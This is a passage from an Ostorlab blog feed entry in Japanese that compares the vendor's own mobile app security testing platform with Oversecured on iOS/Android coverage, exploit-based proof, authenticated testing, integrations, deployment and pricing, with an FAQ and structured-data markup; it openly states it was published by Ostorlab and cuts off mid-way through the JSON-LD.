&lt;/script&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/><category term="Mobile Security"/></entry><entry><title>Ostorlab vs Oversecured：モバイルアプリのセキュリティテストを比較（2026年）</title><link href="https://blog.ostorlab.co/ja/ostorlab-vs-oversecured.html" rel="alternate"/><published>2026-10-07T10:00:00+02:00</published><updated>2026-10-07T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-10-07:/ja/ostorlab-vs-oversecured.html</id><summary type="html">&lt;p&gt;モバイルアプリのセキュリティテストにおけるOstorlabとOversecuredを、iOSとAndroidのカバレッジ、エクスプロイトによる実証、認証付きテスト、API、連携、デプロイ形態、価格の観点で比較します。比較表、代替ツール、FAQも掲載しています。&lt;/p&gt;</summary><content type="html">&lt;h1 id="ostorlab vs oversecured:モバイルアプリのセキュリティテストを比較"&gt;Ostorlab vs Oversecured：モバイルアプリのセキュリティテストを比較&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;簡潔な回答&lt;/strong&gt;：OstorlabとOversecuredはいずれもAIエージェントでモバイルアプリをテストし、確認した問題に実証を添付します。OversecuredはAndroidのビルドをスキャンし、iOSにはSwiftのソースコードを必要とします。Ostorlabは、出荷するAndroid、iOS、HarmonyOSのビルドをスキャンするほか、Google Play、App Store、AppGalleryから直接アプリをスキャンすることもできます。さらに、アプリの背後にあるWebアプリ、API、リポジトリも同じプラットフォームでテストし、モバイルアプリのスキャンが無制限の無料Communityプランを提供しています。&lt;/p&gt;
&lt;p&gt;最も大きな違いはiOSです。OversecuredはSwiftのソースコードを必要としますが、Ostorlabは出荷するIPAをスキャンします。Ostorlabはさらに、アプリを追ってそのバックエンドAPIとコードまで調べます。Oversecuredは、静的（SAST）、動的（DAST）、インタラクティブ（IAST）の解析を、エミュレーター上でエクスプロイトを作成・検証するAIエージェントと組み合わせています。OstorlabのAgentic Deep Scanは、ログインし、TLSピンニングと難読化を突破し、AIエージェントが確認した各検出結果を実際に動作するエクスプロイトで裏付けます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;iOSのソースコードをベンダーと共有できるチームなら、&lt;strong&gt;Oversecuredを選択&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;出荷するiOS、Android、HarmonyOSのビルドやストアのアプリを直接スキャンしたい場合、またはアプリ、そのAPI、そのコードをまとめてテストする必要がある場合は、&lt;strong&gt;Ostorlabを選択&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabの概要&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;概要&lt;/strong&gt;：Ostorlabは、モバイルアプリ（Android、iOS、HarmonyOS）、Webアプリ、API、ソースコードを対象とするアプリケーションセキュリティテストプラットフォームです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;：出荷するビルドで、アプリの背後にあるAPIやコードとあわせて、各検出結果を実際に動作するエクスプロイトで実証したいモバイルチーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ストアスキャン&lt;/strong&gt;：Google Play、App Store、AppGalleryでAndroid、iOS、HarmonyOSのアプリを検索し、アップロードなしで&lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;直接スキャン&lt;/a&gt;できます。監視ルールにより、新しいバージョンがリリースされるたびに新しいスキャンが開始されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;モバイルテスト&lt;/strong&gt;：静的解析、動的解析、実行時解析、振る舞い解析。ログイン、ワンタイムコード、多要素認証による認証付きテスト。物理端末での保護機能のテスト。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主な差別化要素&lt;/strong&gt;：スキャン中にアプリが実行されると、OstorlabのAIエージェントが確認したすべての検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスが付属します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：米国、EU、GCC、APACのデータ保管場所を選べるSaaS、またはオンプレミス（Enterprise）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格&lt;/strong&gt;：モバイルアプリのスキャンが無制限の無料Communityプラン。AI Pentestは$499から。AppSec mobileはアプリ1件あたり月額$599（年間請求）。&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id="この比較について"&gt;この比較について&lt;/h2&gt;
&lt;p&gt;この比較は、ここで比較対象となっているOstorlabプラットフォームを開発・販売するOstorlabが公開しています。Oversecuredに関する記述は、Oversecured自身のWebサイトとドキュメントを引用またはリンクしたもので、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;に掲載しています。Ostorlabに関する記述は、Ostorlabの製品ページとドキュメントに基づいています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：プラットフォームとファイル形式、解析の種類、悪用可能性の実証、認証付きテスト、バックエンドAPI、連携、デプロイ形態、価格。&lt;/p&gt;
&lt;h2 id="比較の概要"&gt;比較の概要&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Oversecured&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;iOSのソースコードを共有できるチーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリ、API、コードにまたがる実証済みのリスクを求めるモバイルチーム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Android&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ APK、AAB、APKS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ APKとAAB、または&lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;Google Playから直接&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;iOS&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;⚠️ Swiftのソースコードが必要&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ IPAビルド、または&lt;a href="https://docs.ostorlab.co/tutorials/mobile_store_scan.html"&gt;App Storeから直接&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;HarmonyOS&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同社サイトでは確認できず&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ HarmonyOSのビルド、ソースコード不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;静的解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ Androidの175以上、iOSの85以上の脆弱性タイプ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ APK、AAB、IPAのビルド、ソースコード不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;動的解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ エミュレーター上で実行、公開されている例はAndroid&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ AndroidとiOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;悪用可能性の実証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ DASTの各検出結果に概念実証（PoC）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ AIエージェントの各検出結果に実際に動作するエクスプロイト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証付きテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ テストアカウント、TOTP、カスタムのログイン手順&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ ログイン、ワンタイムコード、多要素認証&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;物理端末での実行時保護のテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同社サイトでは確認できず。DASTはエミュレーター上で一般的な実行時保護を回避&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ Mobile Shielding Scan、rootおよびジェイルブレイクされた端末を含む&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Webアプリ、API、ソースコード&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;BusinessとEnterpriseでAPIスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ Web、API、リポジトリを同じスキャンで&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;GitHub ActionsとGitLab CIのレシピ（Business以上）、CLIはベータ版で全プラン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ GitHub、GitLab、Jenkins、Azure DevOps、Bitbucket、CircleCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;MCPサーバー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SaaS、Enterpriseでオンプレミスと地域別ホスティング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;4リージョンのSaaS、Enterpriseでオンプレミス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;無料プラン&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;無料トライアルとパイロット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;✅ Communityプラン、モバイルアプリのスキャンが無制限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;価格&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1スキャンあたり$500、アプリ1件あたり月額$1,000、Enterpriseは個別見積もり&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AI Pentest 1件あたり$499から、アプリ1件あたり月額$599（年間請求）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="各ツールの得意分野"&gt;各ツールの得意分野&lt;/h2&gt;
&lt;h3 id="oversecured"&gt;Oversecured&lt;/h3&gt;
&lt;p&gt;Oversecuredは自社を「モバイルアプリ向けのエージェント型攻撃的セキュリティプラットフォーム」と表現しています。静的解析ではAndroidアプリを逆コンパイルし、&lt;a href="https://oversecured.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;Androidの175以上、iOSの85以上の脆弱性タイプをカバー&lt;/a&gt;しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://oversecured.com/dast" rel="nofollow noopener noreferrer" target="_blank"&gt;動的解析&lt;/a&gt;では、管理された環境でアプリを実行し、ディープリンク、エクスポートされたコンポーネント、アプリ間通信をファジングし、端末の画面を録画します。Oversecuredは「DASTのすべての検出結果に概念実証とスタックトレースが含まれる」と述べており、そのAIエージェントは「独自のエミュレーター上で並列に動作し&amp;hellip;&amp;hellip;エクスプロイトを作成して検証する」としています。&lt;a href="https://oversecured.com/iast" rel="nofollow noopener noreferrer" target="_blank"&gt;IAST&lt;/a&gt;は、ユーザー名、電話番号、TOTP、カスタムのログイン手順を使ってログイン後の領域をスキャンします。&lt;/p&gt;
&lt;p&gt;iOSについては、Oversecuredは&lt;a href="https://oversecured.com/sast" rel="nofollow noopener noreferrer" target="_blank"&gt;Swiftのソースコードを解析&lt;/a&gt;します。同社のホームページには「iOSの場合、ソースコードが必要」と記載されています。Oversecuredは、OWASP MASVS、OWASP Mobile Top 10、PCI DSS v4、DORA、HIPAAを含む多数の標準に検出結果を対応付けています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：Oversecuredは、iOSのソースコードを提供でき、概念実証を伴う静的、動的、インタラクティブ（IAST）の解析を求めるモバイルチームに最適です。&lt;/p&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabは、モバイルアプリ、Webアプリ、API、ソースコードを対象とするアプリケーションセキュリティテストプラットフォームです。モバイルでは、&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Agentic Deep Scan&lt;/a&gt;が出荷するビルドをテストします。ワンタイムコードや多要素認証を含めてログインし、TLSピンニングと難読化を突破し、アプリを追ってバックエンドAPIまで調べ、アクセスチェックの不備などのビジネスロジックの欠陥を探します。AIエージェントが確認した各検出結果には、再生可能な実際に動作するエクスプロイトが付属します。&lt;/p&gt;
&lt;p&gt;Ostorlabは、出荷するAndroid、iOS、HarmonyOSのビルドをソースコードなしでスキャンするほか、ストアのアプリを直接スキャンすることもできます。&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;は、root検知やジェイルブレイク検知などの実行時保護を物理端末上でテストし、どの保護が持ちこたえたかを報告します。&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;は、アプリの背後にあるWebアプリ、API、リポジトリを同じスキャンに追加します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な対象&lt;/strong&gt;：Ostorlabは、ソースコードを共有せずにiOSとAndroidのビルドを出荷するモバイルチームや、リスクがアプリからそのAPIやコードにまで及ぶチームに最適です。モバイルアプリのスキャンが無制限の無料Communityプランから始められます。&lt;/p&gt;
&lt;h2 id="主な違い"&gt;主な違い&lt;/h2&gt;
&lt;h3 id="ソースコードなしでのiosテスト"&gt;ソースコードなしでのiOSテスト&lt;/h3&gt;
&lt;p&gt;これが最も明確な違いです。OversecuredのiOS解析にはSwiftのソースコードが必要で、同社のサイトではIPAのスキャンやiOSの動的テストに関する記載は見つかりませんでした。OstorlabはiOSのビルドそのものをスキャンするため、セキュリティチームはベンダー、代理店、App Storeのアプリを、そのリポジトリにアクセスすることなくテストできます。&lt;/p&gt;
&lt;h3 id="各検出結果に添付される実証"&gt;各検出結果に添付される実証&lt;/h3&gt;
&lt;p&gt;どちらのツールも、問題の可能性を列挙するだけにとどまりません。Oversecuredは、動的解析の検出結果に概念実証、スタックトレース、画面録画を添付します。Ostorlabは、AIエージェントが確認した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付します。両者を比較する際は、主張ではなく、自社アプリでそれぞれが生成する実証を比べてください。&lt;/p&gt;
&lt;h3 id="アプリだけか、アプリ・api・コードまでか"&gt;アプリだけか、アプリ・API・コードまでか&lt;/h3&gt;
&lt;p&gt;Oversecuredはモバイルアプリに特化しており、BusinessプランとEnterpriseプランでAPIスキャンを提供しています。OstorlabはWebアプリ、API、ソースコードもテストし、それらをモバイルアプリと一つのスキャンにまとめられるため、アプリ内で見つかりAPIで受け付けられるトークンは、別々の検出結果としてではなく、一つの経路として示されます。&lt;/p&gt;
&lt;h3 id="連携とデプロイ形態"&gt;連携とデプロイ形態&lt;/h3&gt;
&lt;p&gt;Oversecuredは、全プランでCLI、REST API、MCPサーバーを提供しています。CI/CDとの連携、SlackとJiraのWebhook、SSOはBusinessプランとEnterpriseプランで利用でき、同社のドキュメントではCLIはベータ版とされています。Ostorlabは、GitHub、GitLab、Jenkins、Azure DevOps、Bitbucket、CircleCI、Jira、Slackと連携し、独自の&lt;a href="https://ostorlab.co/product/mcp"&gt;MCPサーバー&lt;/a&gt;も備えています。どちらもEnterpriseプランでオンプレミスのデプロイを提供しています。&lt;/p&gt;
&lt;h3 id="価格"&gt;価格&lt;/h3&gt;
&lt;p&gt;Oversecuredの&lt;a href="https://oversecured.com/pricing" rel="nofollow noopener noreferrer" target="_blank"&gt;価格&lt;/a&gt;には、1スキャンあたり$500のHackerプラン、アプリ1件あたり月額$1,000のBusinessプラン、個別見積もりのEnterpriseプランが掲載されています。無料トライアルと、Oversecured 2.0の5週間のパイロットも提供しています。Ostorlabの&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;は、モバイルアプリのスキャンが無制限の無料Communityプランから始まり、AI Pentestは1件あたり$499から、AppSec mobileはアプリ1件あたり月額$599（年間請求、月払いの場合は$653）です。&lt;/p&gt;
&lt;h2 id="どちらを選ぶべきか"&gt;どちらを選ぶべきか&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;iOSのソースコードを共有でき、同社のAndroidルールやOWASP MASVSなどの標準への対応付けを求めるなら、&lt;strong&gt;Oversecuredを選択&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;共有できるソースコードがない状態でiOSのビルドをテストする必要がある場合、HarmonyOSのアプリをテストする場合、またはアプリ、そのバックエンドAPI、そのコードを、確認された各検出結果に実際に動作するエクスプロイトを付けてまとめてテストしたい場合は、&lt;strong&gt;Ostorlabを選択&lt;/strong&gt;。Communityプランならモバイルアプリのスキャンが無制限で、無料で始められます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="oversecuredの代替ツールのおすすめ"&gt;Oversecuredの代替ツールのおすすめ&lt;/h2&gt;
&lt;p&gt;2026年のモバイルアプリのセキュリティテストにおける主なOversecuredの代替ツールは、Ostorlab、NowSecure、Appknox、MobSFです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、共有できるソースコードがない状態でiOSのビルドをテストするチーム、HarmonyOSを必要とするチーム、またはアプリ、そのAPI、そのコードをまとめてテストしたいチーム向けのOversecuredの代替ツールで、無料のCommunityプランがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;は、ペンテストサービスとあわせて自動化されたモバイルテストを求めるエンタープライズ向けのOversecuredの代替ツールです。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-nowsecure.html"&gt;Ostorlab vs NowSecure&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Appknox&lt;/strong&gt;は、脆弱性評価サービスを伴うモバイルアプリとAPIのテストを求めるチーム向けのOversecuredの代替ツールです。&lt;a href="https://blog.ostorlab.co/ostorlab-vs-appknox.html"&gt;Ostorlab vs Appknox&lt;/a&gt;をご覧ください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MobSF&lt;/strong&gt;は、無料でオープンソースのセルフホスト型ツールを求め、テストを自分たちで実行できるチーム向けのOversecuredの代替ツールです。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="faq"&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;iOSにはOversecuredとOstorlabのどちらが適していますか？&lt;/strong&gt;
iOSにおける主な違いはソースコードです。OversecuredのiOS解析にはSwiftのソースコードが必要です。OstorlabはiOSのビルド（IPA）を静的テスト、動的テスト、認証付きテストでスキャンし、ソースコードを必要としません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OversecuredとOstorlabは検出結果を実証しますか？&lt;/strong&gt;
はい、どちらも実証します。Oversecuredは、動的解析の各検出結果に概念実証とスタックトレースを添付します。Ostorlabは、AIエージェントが確認した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OstorlabはHarmonyOSに対応していますか？&lt;/strong&gt;
はい。OstorlabはAndroid、iOS、HarmonyOSのアプリに加え、Webアプリ、API、ソースコードもテストします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OversecuredのコストはOstorlabと比べてどのくらいですか？&lt;/strong&gt;
Oversecuredは、Hackerプランで1スキャンあたり$500、Businessプランでアプリ1件あたり月額$1,000、Enterpriseは個別見積もりと掲載しています。Ostorlabには、モバイルアプリのスキャンが無制限の無料Communityプランがあり、AI Pentestは$499から、AppSec mobileはアプリ1件あたり月額$599（年間請求）です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oversecuredの最適な代替ツールは何ですか？&lt;/strong&gt;
共有できるソースコードがない状態でiOSのビルドをテストする場合や、アプリ、そのAPI、そのコードをまとめてテストしたい場合は、OstorlabがOversecuredに最も近い代替ツールであり、モバイルアプリのスキャンが無制限の無料プランもあります。NowSecureとAppknoxは、テストサービスを求めるエンタープライズに適しています。MobSFは、無料のセルフホスト型ツールを求めるチームに適しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oversecuredの無料の代替ツールはありますか？&lt;/strong&gt;
はい。OstorlabのCommunityプランは無料で、モバイルアプリのスキャンが無制限に含まれています。MobSFは、自分でホストして実行する無料のオープンソースツールです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabはオンプレミスで実行できますか？&lt;/strong&gt;
はい。OstorlabはEnterpriseプランでオンプレミスで動作し、米国、EU、GCC、APACのデータ保管場所を選べるSaaSも提供しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oversecuredはオンプレミスで実行できますか？&lt;/strong&gt;
はい。OversecuredはEnterpriseプランでオンプレミスのデプロイを提供しています。&lt;/p&gt;
&lt;h2 id="この比較の作成方法"&gt;この比較の作成方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Oversecuredに関する事実は、OversecuredのWebサイト、価格ページ、ドキュメントに基づくもので、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;にリンクを掲載しています。ベンダーはこれらのページを頻繁に更新します。&lt;/li&gt;
&lt;li&gt;この比較は、公開されている機能と価格を対象としたものであり、検出率のベンチマークではありません。&lt;/li&gt;
&lt;li&gt;「確認できず」と記載した項目は、Oversecuredのサイトとドキュメントを調べても記載が見つからなかったものです。Oversecuredが提供している可能性はあります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sources"&gt;出典&lt;/h2&gt;
&lt;p&gt;2026年10月7日に確認したOversecuredのページ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://oversecured.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;ホームページ&lt;/a&gt;：ポジショニング、脆弱性タイプ、iOSのソースコード要件、DASTの概念実証、AIエージェント、標準への対応付け&lt;/li&gt;
&lt;li&gt;&lt;a href="https://oversecured.com/sast" rel="nofollow noopener noreferrer" target="_blank"&gt;SAST&lt;/a&gt;、&lt;a href="https://oversecured.com/dast" rel="nofollow noopener noreferrer" target="_blank"&gt;DAST&lt;/a&gt;、&lt;a href="https://oversecured.com/iast" rel="nofollow noopener noreferrer" target="_blank"&gt;IAST&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://oversecured.com/pricing" rel="nofollow noopener noreferrer" target="_blank"&gt;価格&lt;/a&gt;：プラン、全プランでのCLI、REST API、MCPサーバー、CI/CD、APIスキャン、Webhook、SSO、オンプレミス&lt;/li&gt;
&lt;li&gt;&lt;a href="https://oversecured.com/ovs-2.0" rel="nofollow noopener noreferrer" target="_blank"&gt;Oversecured 2.0のパイロット&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.oversecured.com/" rel="nofollow noopener noreferrer" target="_blank"&gt;ドキュメント&lt;/a&gt;：対応ファイル、CI/CDガイド、CLI、MCPサーバー&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ostorlab：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;モバイルアプリ向けAgentic Deep Scan&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/multi-asset"&gt;マルチアセットスキャン&lt;/a&gt;、&lt;a href="https://ostorlab.co/product/mcp"&gt;MCPサーバー&lt;/a&gt;、&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;OversecuredとOstorlabはいずれも、モバイルの検出結果を列挙するのではなく実証するために作られています。OversecuredはAndroidを深く掘り下げ、iOSにはソースコードを必要とします。Ostorlabは、出荷するiOS、Android、HarmonyOSのビルドと、その背後にあるAPIやコードをテストし、確認された各検出結果に実際に動作するエクスプロイトを付けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自社アプリで確かめる&lt;/strong&gt;：&lt;a href="https://report.ostorlab.co/scan/new"&gt;無料のモバイルスキャンを実行&lt;/a&gt;し、現在使っているツールと検出結果を比較してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにOversecuredを使っている場合&lt;/strong&gt;：&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとOversecuredを比較してください&lt;/a&gt;。同じターゲット、同じ制限時間で行い、自社チームが再現できた検出結果だけをカウントします。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-oversecured.html#article",
      "mainEntityOfPage": "https://blog.ostorlab.co/ostorlab-vs-oversecured.html",
      "headline": "Ostorlab vs Oversecured：モバイルアプリのセキュリティテストを比較（2026年）",
      "description": "モバイルアプリのセキュリティテストにおけるOstorlabとOversecuredを、iOSとAndroidのカバレッジ、エクスプロイトによる実証、認証付きテスト、API、連携、デプロイ形態、価格の観点で比較します。比較表、代替ツール、FAQも掲載しています。",
      "image": "https://blog.ostorlab.co/static/img/ostorlab-vs-oversecured/cover.png",
      "datePublished": "2026-10-07T10:00:00+02:00",
      "dateModified": "2026-10-07T10:00:00+02:00",
      "author": {
        "@type": "Person",
        "name": "Abir Jelti"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "about": [
        {
          "@type": "SoftwareApplication",
          "name": "Ostorlab"
        },
        {
          "@type": "SoftwareApplication",
          "name": "Oversecured"
        }
      ]
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-oversecured.html#list-1",
      "name": "Oversecuredの代替ツールのおすすめ（2026年）",
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "description": "Ostorlabは、共有できるソースコードがない状態でiOSのビルドをテストするチーム、HarmonyOSを必要とするチーム、またはアプリ、そのAPI、そのコードをまとめてテストしたいチーム向けのOversecuredの代替ツールで、無料のCommunityプランがあります。"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "NowSecure",
          "description": "NowSecureは、ペンテストサービスとあわせて自動化されたモバイルテストを求めるエンタープライズ向けのOversecuredの代替ツールです。Ostorlab vs NowSecureをご覧ください。"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Appknox",
          "description": "Appknoxは、脆弱性評価サービスを伴うモバイルアプリとAPIのテストを求めるチーム向けのOversecuredの代替ツールです。Ostorlab vs Appknoxをご覧ください。"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "MobSF",
          "description": "MobSFは、無料でオープンソースのセルフホスト型ツールを求め、テストを自分たちで実行できるチーム向けのOversecuredの代替ツールです。"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/ostorlab-vs-oversecured.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "iOSにはOversecuredとOstorlabのどちらが適していますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "iOSにおける主な違いはソースコードです。OversecuredのiOS解析にはSwiftのソースコードが必要です。OstorlabはiOSのビルド（IPA）を静的テスト、動的テスト、認証付きテストでスキャンし、ソースコードを必要としません。"
          }
        },
        {
          "@type": "Question",
          "name": "OversecuredとOstorlabは検出結果を実証しますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい、どちらも実証します。Oversecuredは、動的解析の各検出結果に概念実証とスタックトレースを添付します。Ostorlabは、AIエージェントが確認した各検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスを添付します。"
          }
        },
        {
          "@type": "Question",
          "name": "OstorlabはHarmonyOSに対応していますか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。OstorlabはAndroid、iOS、HarmonyOSのアプリに加え、Webアプリ、API、ソースコードもテストします。"
          }
        },
        {
          "@type": "Question",
          "name": "OversecuredのコストはOstorlabと比べてどのくらいですか？",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Oversecuredは、Hackerプランで1スキャンあたり$500、Businessプランでアプリ1件あたり月額$1,000、Enterpriseは個別見積もりと掲載しています。Ostorlabには、モバイルアプリのスキャンが無制限の無料Communityプランがあり、AI Pentestは$499から、AppSec mobileはアプリ1件あたり月額$599（年間請求）です。"
          }
        },
        {
          "@type": "Question",
          "name": "Oversecuredの最適な代替ツールは何ですか？",
